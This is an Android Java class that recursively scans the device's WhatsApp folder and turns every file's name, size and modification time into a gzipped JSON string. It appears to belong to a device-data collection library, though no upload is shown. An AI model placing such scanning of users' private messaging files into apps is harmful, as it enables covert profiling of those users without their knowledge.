package com.zhi.syc.data_applist.services;

import android.content.Context;
import android.os.Build;
import android.os.Environment;

import com.google.gson.Gson;
import com.zhi.syc.data_applist.beans.ASFileScanInfoBean;
import com.zhi.syc.data_applist.logger.ASLogger;
import com.zhi.syc.data_applist.util.ASFileUtil;
import com.zhi.syc.data_applist.util.ASUtil;

import java.io.File;
import java.util.ArrayList;

public class ASFileScanInfo {

    public static String getWhatsappFilesZipString(Context context) {
        String zipString = "";
        try {
            ASFileScanInfoBean infoBean = getWhatsappFiles(context);
            String result = new Gson().toJson(infoBean).trim();
            ASLogger.d(ASFileScanInfo.class.getSimpleName(), "result: " + result);
            zipString = ASUtil.stringToGZIP(result);
            infoBean = null;
        } catch (Exception e) {
            e.printStackTrace();
        }

        return zipString;
    }

    public static ASFileScanInfoBean getWhatsappFiles(Context context) {
        try {
            final String whatsAppDir = "WhatsApp";
            String whatsAppPath = "";
            if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.Q) {
                whatsAppPath = Environment.getExternalStoragePublicDirectory(whatsAppDir).getAbsolutePath();
            }else {
                whatsAppPath = context.getExternalFilesDir(whatsAppDir).getAbsolutePath();
            }

            boolean isWhatsAppPathExists = false;
            try {
                isWhatsAppPathExists = ASFileUtil.isFileExists(context, whatsAppPath);
            } catch (Exception e) {
                e.printStackTrace();
            }

            if (isWhatsAppPathExists) {
                File whatsAppFile = new File(whatsAppPath);
                return scanPath(whatsAppFile);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }

        return null;
    }

    public static ASFileScanInfoBean scanPath(File var0) {
        ASFileScanInfoBean asFileScanInfoBean = null;
        try {

            String fileName = ASFileUtil.getFileName(var0);

            if (!fileName.startsWith(".")) {

                String fileSize = ASFileUtil.getSize(var0);
                String lastModified = var0.lastModified() + "";

                asFileScanInfoBean = new ASFileScanInfoBean();
                asFileScanInfoBean.setName(fileName);
                asFileScanInfoBean.setSize(fileSize);
                asFileScanInfoBean.setLastModifiedTime(lastModified);

                if (ASFileUtil.isDir(var0)) {
                    asFileScanInfoBean.setIsDir("YES");
                    File[] subFiles = var0.listFiles();
                    ArrayList<ASFileScanInfoBean> var10 = new ArrayList<ASFileScanInfoBean>();
                    for (File subFile : subFiles) {
                        ASFileScanInfoBean subScanInfoBean = scanPath(subFile);
                        if (subScanInfoBean != null) {
                            var10.add(subScanInfoBean);
                        }
                    }
                    asFileScanInfoBean.setSubDirs(var10);
                } else {
                    asFileScanInfoBean.setIsDir("NO");
                }
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

        return asFileScanInfoBean;
    }
}
